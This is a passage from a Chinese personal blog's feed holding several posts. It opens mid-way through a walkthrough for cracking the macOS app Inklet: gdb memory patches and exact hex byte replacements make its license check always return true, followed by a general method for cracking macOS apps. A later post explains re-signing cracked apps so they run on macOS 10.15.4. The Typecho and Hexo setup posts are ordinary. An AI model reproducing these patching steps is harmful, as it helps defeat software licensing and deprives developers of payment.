class="line">- (BOOL)unlicensedWithPreviousLicense;</span><br></pre></td></tr></table></figure></blockquote><p>在<code>inklet.asm</code>中:</p><blockquote><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-(BOOL)[InkletRegisterPreferences licenseState]:</span><br><span class="line">    +<span class="number">0</span>  000000010002856f  <span class="number">55</span>                        pushq         %rbp</span><br><span class="line">    +<span class="number">1</span>  <span class="number">0000000100028570</span>  4889e5                    <span class="keyword">movq</span>          %rsp,                         %rbp</span><br><span class="line">    +<span class="number">4</span>  <span class="number">0000000100028573</span>  488b0516060500            <span class="keyword">movq</span>          <span class="number">0x50616</span>(%rip),                %rax</span><br><span class="line">   +<span class="number">11</span>  000000010002857a  0fbe0407                  movsbl        (%rdi,%rax),                  %eax</span><br><span class="line">   +<span class="number">15</span>  000000010002857e  <span class="number">5d</span>                        popq          %rbp</span><br><span class="line">   +<span class="number">16</span>  000000010002857f  c3                        retq</span><br></pre></td></tr></table></figure></blockquote><p>猜测是<code>InkletRegisterPreferences</code>中的<code>(BOOL)licenseState</code>返回注册状态, 所以只需要让它的值一直返回 True 就很可能破解成功</p><h3 id="修改程序">修改程序</h3><p>持续返回 True 的程序的机器码来自<span class="exturl" data-url="aHR0cHM6Ly9mcmVlbWFuZGVhbGVyLmdpdGh1Yi5pby8yMDE1LzEwLzEwL2hhY2tpbmctb3N4LWFwcC8jJUU1JTg3JTg2JUU1JUE0JTg3JUU2JUFGJTkyJUU4JThEJUFG">这里<i class="fa fa-external-link-alt"></i></span><br>省事很多 ww</p><h4 id="使用-gdb-动态测试">使用 gdb 动态测试</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gdb inklet</span><br><span class="line">&gt; b *0x000000010002856f   <span class="comment">#InkletRegisterPreferences函数开始地址</span></span><br><span class="line">&gt; r</span><br><span class="line">&gt; <span class="built_in">set</span> *0x0000000100028573 = 0x000001b8</span><br><span class="line">&gt; <span class="built_in">set</span> *0x0000000100028577 = 0x0fc35d00</span><br><span class="line">&gt; <span class="built_in">set</span> *0x000000010002857b = 0x0000441f</span><br><span class="line">&gt; disas 0x000000010002856f, +10</span><br><span class="line">&gt; <span class="built_in">continue</span></span><br></pre></td></tr></table></figure><p>测试成功, 原来的时间限制已经解锁了</p><h4 id="修改二进制文件">修改二进制文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vim /Applications/Inklet.app/Contents/MacOS/Inklet</span><br><span class="line">:%!xxd</span><br></pre></td></tr></table></figure><p>找到<code>554889e5488b05160605000fbe04075d</code><br>改为<code>554889e5b8010000005dc30f1f440000</code></p><p>如果修改后打不开那就给它<a href="/2020/fix-macOS-10-15-4-damage/">签个名</a>试试?(我这直接就能打开了)</p><h2 id="技术总结">技术总结</h2><p>收集信息和探索：对二进制文件展开成人类可读的形式后，使用关键词进行搜索，定位阻碍我们流畅使用该应用的函数。这一步耗时最长，需要仔细摆弄软件获得灵感，并且直接决定能否成功。一般搜索关键词如 activate、purchase、register、trial 之类，也可以结合具体应用和想要的效果选取。例如对于弹窗的应用，不一定非要“破解”，只要能屏蔽广告就行，那么可以使用 dialog、window 之类的关键词搜索。这个阶段使用的工具主要目的是为了把 binary format 妆换成 human-readable format，工具例如：hopper、otx、class-dump 都可以满足，class-dump 信息清晰一些。</p><p>如果上一步定位了目标函数，则需要弄清这个函数的输入输出，并撰写编译自己后面用来替换的函数。比如目标函数通过判断用户身份返回是否合法，合法 true 不合法 false。那么我们就建立一个 C 文件写一个永远返回 true 的函数编译出二进制。如果一个目标是一个返回 void 的弹窗函数，那么我们就让这个函数调用后立马 return，跳过后面花里胡哨的广告展示逻辑。这个阶段用到的工具是 C 语言编译器，如 gcc。</p><p>找到目标函数的虚拟内存地址。工具: hopper 或 otx 都可以满足。</p><p>通过上面的内存地址获取代码在二进制文件中的位置。工具： offset 脚本。</p><p>使用自己的函数逻辑替换二进制文件 offset 处原逻辑。工具：vim &amp;&amp; xxds</p><p>测试是否成功。不成功重复上述步骤，或者 google 高阶破解技巧，或者放弃。</p><p>转自<span class="exturl" data-url="aHR0cHM6Ly9mcmVlbWFuZGVhbGVyLmdpdGh1Yi5pby8yMDE1LzEwLzEwL2hhY2tpbmctb3N4LWFwcC8jJUU2JThBJTgwJUU2JTlDJUFGJUU2JTgwJUJCJUU3JUJCJTkz">技术总结 by Zhengyu Zhang<i class="fa fa-external-link-alt"></i></span></p><h2 id="参考文章">参考文章</h2><ul><li><span class="exturl" data-url="aHR0cHM6Ly9mcmVlbWFuZGVhbGVyLmdpdGh1Yi5pby8yMDE1LzEwLzEwL2hhY2tpbmctb3N4LWFwcC8=">记录一次 OSX 软件破解<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9iZXN0c3dpZnRlci5jb20vYXBwLWNyYWNrLw==">一个数字的魔法——破解 Mac 上 198 元的 Paw<i class="fa fa-external-link-alt"></i></span></li></ul><p>如果没有这些文章, 这次破解将会变得非常耗时且难以成功, 感谢!</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;span class=&quot;exturl&quot; data-url=&quot;aHR0cHM6Ly90ZW5vbmVkZXNpZ24uY29tL2lua2xldC5waHA=&quot;&gt;Inklet&lt;i class=&quot;fa fa-external-link-alt&quot;&gt;&lt;/i&gt;&lt;/span&gt; 是一个可以把笔记本触摸板变成简易数位板的 macOS 应用程序&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="macOS" scheme="https://blog.apeiria.net/tags/macOS/"/>
    
    <category term="Hack" scheme="https://blog.apeiria.net/tags/Hack/"/>
    
    <category term="Reverse" scheme="https://blog.apeiria.net/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>搭建 Typecho</title>
    <link href="https://blog.apeiria.net/2020/set-up-typecho/"/>
    <id>https://blog.apeiria.net/2020/set-up-typecho/</id>
    <published>2020-04-26T00:31:08.000Z</published>
    <updated>2020-04-26T00:31:08.000Z</updated>
    
    <content type="html"><![CDATA[<p>搭建配置及自定义一个 Typecho 站点</p><span id="more"></span><p>–&gt; <span class="exturl" data-url="aHR0cHM6Ly9hbnlhbi5tbA==">安言的个人博客<i class="fa fa-external-link-alt"></i></span> &lt;–<br>来玩呀(编者不是我哦)</p><p><s>Kora! 我一个搭了那么久的 blog 还没搭了几天的 blog 热闹</s></p><p>我的 blog 运行在 PaaS,这次搭建的 Typecho 运行在 IaaS<br>VPS 来自我的 GCP(2020.4)</p><h2 id="免费域名申请">免费域名申请</h2><blockquote><p><span class="exturl" data-url="aHR0cHM6Ly93d3cuZnJlZW5vbS5jb20=">Freenom<i class="fa fa-external-link-alt"></i></span></p></blockquote><h2 id="搭建-Typecho">搭建 Typecho</h2><p>先是直接装一套 LNMP,安装替代产品也行</p><blockquote><p><span class="exturl" data-url="aHR0cDovL2RvY3MudHlwZWNoby5vcmcvaW5zdGFsbA==">开始安装 - Typecho 文档站点<i class="fa fa-external-link-alt"></i></span></p></blockquote><p>下载 Typecho 放网站目录,访问即可配置</p><p>数据库可以提前创建</p><h2 id="自定义-Typecho">自定义 Typecho</h2><h3 id="伪静态">伪静态</h3><p>Nginx 配置文件:</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">if</span> (!-e <span class="variable">$request_filename</span>) &#123;</span><br><span class="line">    <span class="attribute">rewrite</span><span class="regexp"> ^(.*)$</span> /index.php<span class="variable">$1</span> <span class="literal">last</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后在 Typecho 后台-设置-永久链接<br>启用地址重写功能</p><h3 id="使用一言-API">使用一言 API</h3><p>在页脚显示一句话</p><p><span class="exturl" data-url="aHR0cHM6Ly9kZXZlbG9wZXIuaGl0b2tvdG8uY24vc2VudGVuY2Uv">使用示例 - 一言开发者中心<i class="fa fa-external-link-alt"></i></span><br>Hexo 用户可以看看: <span class="exturl" data-url="aHR0cHM6Ly9ibG9nLmJpbGwubW9lL2FkZC1oaXRva290by8=">为您的 Hexo 博客添加 Hitokoto 一言功能<i class="fa fa-external-link-alt"></i></span></p><p><s>复制粘贴不就好?</s></p><p>在<code>header.php</code>中加入</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="title function_">fetch</span>(<span class="string">&quot;https://v1.hitokoto.cn&quot;</span>)</span></span><br><span class="line"><span class="language-javascript">    .<span class="title function_">then</span>(<span class="function">(<span class="params">response</span>) =&gt;</span> response.<span class="title function_">json</span>())</span></span><br><span class="line"><span class="language-javascript">    .<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>) =&gt;</span> &#123;</span></span><br><span class="line"><span class="language-javascript">      <span class="keyword">const</span> hitokoto = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;hitokoto&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">      hitokoto.<span class="property">innerText</span> = data.<span class="property">hitokoto</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;)</span></span><br><span class="line"><span class="language-javascript">    .<span class="title function_">catch</span>(<span class="variable language_">console</span>.<span class="property">error</span>);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>在页脚加入</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">&quot;hitokoto&quot;</span>&gt;</span>:D 获取中...<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre></td></tr></table></figure><p>为了防止<span class="exturl" data-url="aHR0cHM6Ly9kZXZlbG9wZXIubW96aWxsYS5vcmcvemgtQ04vZG9jcy9XZWIvSFRUUC9BY2Nlc3NfY29udHJvbF9DT1JT">跨域访问<i class="fa fa-external-link-alt"></i></span>出错,在 Nginx 配置中加入</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">location</span> / &#123;</span><br><span class="line"><span class="attribute">add_header</span> Access-Control-Allow-Origin *;</span><br><span class="line"><span class="attribute">add_header</span> Access-Control-Allow-Methods <span class="string">&#x27;GET, POST, OPTIONS&#x27;</span>;</span><br><span class="line"><span class="attribute">add_header</span> Access-Control-Allow-Headers <span class="string">&#x27;DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization&#x27;</span>;</span><br><span class="line"><span class="attribute">if</span> (<span class="variable">$request_method</span> = <span class="string">&#x27;OPTIONS&#x27;</span>) &#123;</span><br><span class="line">    <span class="attribute">return</span> <span class="number">204</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个问题也能使用反向代理的方法来解决</p><h2 id="写在后面">写在后面</h2><p>至此目前的修改就基本都在这了<br>以后的更改再回来更新</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;搭建配置及自定义一个 Typecho 站点&lt;/p&gt;</summary>
    
    
    
    <category term="笔记" scheme="https://blog.apeiria.net/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Blog" scheme="https://blog.apeiria.net/tags/Blog/"/>
    
    <category term="Web" scheme="https://blog.apeiria.net/tags/Web/"/>
    
    <category term="Linux" scheme="https://blog.apeiria.net/tags/Linux/"/>
    
    <category term="Typecho" scheme="https://blog.apeiria.net/tags/Typecho/"/>
    
    <category term="PHP" scheme="https://blog.apeiria.net/tags/PHP/"/>
    
    <category term="Nginx" scheme="https://blog.apeiria.net/tags/Nginx/"/>
    
    <category term="MySQL" scheme="https://blog.apeiria.net/tags/MySQL/"/>
    
    <category term="IaaS" scheme="https://blog.apeiria.net/tags/IaaS/"/>
    
  </entry>
  
  <entry>
    <title>修复 macOS 10.15.4 下部分软件「意外退出」</title>
    <link href="https://blog.apeiria.net/2020/fix-macOS-10-15-4-damage/"/>
    <id>https://blog.apeiria.net/2020/fix-macOS-10-15-4-damage/</id>
    <published>2020-03-26T00:50:58.000Z</published>
    <updated>2020-03-26T00:50:58.000Z</updated>
    
    <content type="html"><![CDATA[<p>受影响的大多是破解软件,因为 Apple 在新系统中删除了 TNT 的证书</p><span id="more"></span><h2 id="准备-Xcode-IDE-的命令行工具">准备 Xcode IDE 的命令行工具</h2><p>即 <code>Command Line Tools</code><br>如果你已安装<code>Command Line Tools</code>或<code>Xcode</code>可以直接转到<a href="#%E7%BB%99%E8%BD%AF%E4%BB%B6%E7%AD%BE%E5%90%8D">给软件签名</a><br>如果有问题可以参考:</p><blockquote><p><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL25vZGVqcy9ub2RlLWd5cC9ibG9iL21hc3Rlci9tYWNPU19DYXRhbGluYS5tZA==">Installation notes for macOS Catalina (v10.15)<i class="fa fa-external-link-alt"></i></span></p></blockquote><h3 id="终端安装">终端安装</h3><p>打开<code>终端</code>,输入以下命令:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xcode-select --install</span><br></pre></td></tr></table></figure><p>弹出安装窗口后选择<code>继续安装</code></p><h3 id="下载安装">下载安装</h3><p>打开<span class="exturl" data-url="aHR0cHM6Ly9kZXZlbG9wZXIuYXBwbGUuY29tL2Rvd25sb2FkL21vcmUv">Apple Developer<i class="fa fa-external-link-alt"></i></span>下载<code>Command Line Tools for Xcode</code>后安装<br>(可能需要登录 Apple ID)</p><h3 id="在-App-Store-安装完整-Xcode">在 App Store 安装完整 Xcode</h3><p>不推荐,会占用很多磁盘空间<br>下载安装<span class="exturl" data-url="aHR0cHM6Ly9hcHBzLmFwcGxlLmNvbS9jbi9hcHAveGNvZGUvaWQ0OTc3OTk4MzU=">这个 App<i class="fa fa-external-link-alt"></i></span></p><h2 id="给软件签名">给软件签名</h2><h3 id="在终端中手动签名">在终端中手动签名</h3><p>打开<code>终端</code>,输入以下命令:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> codesign --force --deep --sign - /PATH-TO-APP</span><br></pre></td></tr></table></figure><p>当然你可以可以先输入:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> codesign --force --deep --sign -</span><br></pre></td></tr></table></figure><p>(最后再打一个空格)</p><p>再打开<code>访达</code>,前往<code>应用程序</code>(⇧⌘A),将「意外退出」的软件拖入终端<br>回车 ↩,自信输入本地用户密码,再回车 ↩</p><ul><li><p>如果看到输出为:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/PATH-TO-APP : replacing existing signature</span><br></pre></td></tr></table></figure><p>则成功</p></li><li><p>如果输出为:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/PATH-TO-APP : replacing existing signature</span><br><span class="line">/PATH-TO-APP : resource fork,Finder information,or similar detritus not allowed</span><br></pre></td></tr></table></figure><p>在<code>终端</code>执行</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xattr -cr /PATH-TO-APP</span><br></pre></td></tr></table></figure><p>再次执行</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> codesign --force --deep --sign - /PATH-TO-APP</span><br></pre></td></tr></table></figure></li></ul><h3 id="使用CodeSigner给软件签名">使用<code>CodeSigner</code>给软件签名</h3><p>懒得写,咕咕咕</p><h2 id="仍然无法解决">仍然无法解决</h2><p>可以试试关闭<a href="https://en.wikipedia.org/wiki/System_Integrity_Protection"><code>SIP</code></a><br>再不行就坐等应用更新吧</p><h3 id="10-15-4-目前不可用-APP">10.15.4 目前不可用 APP</h3><ul><li>Notability &lt;= 4.2.1</li><li>Paste &lt;= 2.5.6 ( 官方版本 &gt;=2.6.2 可用 )</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;受影响的大多是破解软件,因为 Apple 在新系统中删除了 TNT 的证书&lt;/p&gt;</summary>
    
    
    
    <category term="笔记" scheme="https://blog.apeiria.net/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="macOS" scheme="https://blog.apeiria.net/tags/macOS/"/>
    
    <category term="macOS Catalina" scheme="https://blog.apeiria.net/tags/macOS-Catalina/"/>
    
  </entry>
  
  <entry>
    <title>欢迎使用 hexo</title>
    <link href="https://blog.apeiria.net/2020/create-my-blog/"/>
    <id>https://blog.apeiria.net/2020/create-my-blog/</id>
    <published>2020-02-12T17:02:52.000Z</published>
    <updated>2020-02-12T17:02:52.000Z</updated>
    
    <content type="html"><![CDATA[<p>如果您看到这篇文章,表示您的 blog 已经安装成功.</p><span id="more"></span><p>以上其实是<strong>手动</strong>写的</p><p>自从 2019-12-28 白嫖这台 GCP 的 VPS 起,建个 blog 建了几个月,qwq</p><p>顺手记录下我觉得有帮助的文章:</p><ul><li><p><span class="exturl" data-url="aHR0cHM6Ly9oZXhvLmlvL3poLWNuL2RvY3Mv">Hexo 官方文档<i class="fa fa-external-link-alt"></i></span></p></li><li><p><span class="exturl" data-url="aHR0cHM6Ly9oZXgubW9lL3AvOWIzZmI4Yjkv">建立一个 Hexo 博客<i class="fa fa-external-link-alt"></i></span> by <span class="exturl" data-url="aHR0cHM6Ly9oZXgubW9lLw==">LovelyWei<i class="fa fa-external-link-alt"></i></span></p></li></ul><blockquote><p>PS:这个关于页面<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0xvdmVseVdlaS9hYm91dFBhZ2U=">在 GitHub 的 repository<i class="fa fa-external-link-alt"></i></span>也在我自定义<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2FtcGhpbmVrby9hdG9taWNuZWtv">atomicneko<i class="fa fa-external-link-alt"></i></span>时给我很大的帮助</p></blockquote><ul><li><span class="exturl" data-url="aHR0cHM6Ly90aGVtZS1zdWthLnNray5tb2U=">Suka Theme<i class="fa fa-external-link-alt"></i></span></li></ul><p>建完这个站我自己也不清楚能一直运营多久。将来也有可能更换域名。<br>文章又不会写，又没 dalao 带窝，只能做复读机/复制机维持生活（</p><h2 id="2020-4-21-更新">2020-4-21 更新</h2><p>友链换了好几个了,非常感谢大家</p><p>使用 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0VkaXNvbkp3YS9oZXhvLXRoZW1lLXN1a2EvdHJlZS9jYW5hcnk=">Dark Mode Support For Suka<i class="fa fa-external-link-alt"></i></span> 给站点增加了深色模式.</p><h2 id="2020-5-9-更新">2020-5-9 更新</h2><p>因 <span class="exturl" data-url="aHR0cHM6Ly90aGVtZS1zdWthLnNray5tb2U=">Suka Theme<i class="fa fa-external-link-alt"></i></span> 长期未更新，且 <span class="exturl" data-url="aHR0cHM6Ly9ibG9nLnNray5tb2U=">Sukka’s Blog<i class="fa fa-external-link-alt"></i></span> 不再使用该主题，所以把主题更改为 <span class="exturl" data-url="aHR0cHM6Ly90aGVtZS1uZXh0Lm9yZw==">NexT<i class="fa fa-external-link-alt"></i></span></p><h2 id="2021-3-4-更新">2021-3-4 更新</h2><p>据上次更新已有将近一年的时间。这段时间我发布了几篇日志，也部署了许多前段页面。域名做了更换，交换了许多友链。我给 blog 加上了 Cloudflare CDN，同时还在 Cloudflare Pages 部署了网站。</p><h3 id="关于站点主题色">关于站点主题色</h3><p>站点主题色是<code>#663399</code>，由 40％的红色，20％的绿色和 60％的蓝色组成。这个颜色初次被我使用时直接取自于バニラ的发带。于 2021-3-4 才发现它也被称为丽贝卡紫(Rebecca Purple)，<span class="exturl" data-url="aHR0cHM6Ly9saXN0cy53My5vcmcvQXJjaGl2ZXMvUHVibGljL3d3dy1zdHlsZS8yMDE0SnVuLzAzMTIuaHRtbA==">在 CSS 4 中被加入<i class="fa fa-external-link-alt"></i></span>，用来悼念埃里克·迈耶的女儿。我很有幸能使用这个颜色。如果你使用 Android Chrome 或 macOS Safari，我想你可以在标题面板或网站图标中看到这个颜色。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/create-my-blog/rebeccapurple.png" alt="Rebecca Purple"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;如果您看到这篇文章,表示您的 blog 已经安装成功.&lt;/p&gt;</summary>
    
    
    
    <category term="摸鱼" scheme="https://blog.apeiria.net/categories/%E6%91%B8%E9%B1%BC/"/>
    
    
    <category term="Blog" scheme="https://blog.apeiria.net/tags/Blog/"/>
    
    <category term="Hexo" scheme="https://blog.apeiria.net/tags/Hexo/"/>
    
    <category term="Hexo theme" scheme="https://blog.apeiria.net/tags/Hexo-theme/"/>
    
    <category term="Web" scheme="https://blog.apeiria.net/tags/Web/"/>
    
    <category term="GitHub" scheme="https://blog.apeiria.net/tags/GitHub/"/>
    
    <category term="GitHub Pages" scheme="https://blog.apeiria.net/tags/GitHub-Pages/"/>
    
    <category term="PaaS" scheme="https://blog.apeiria.net/tags/PaaS/"/>
    
  </entry>
  
</feed>
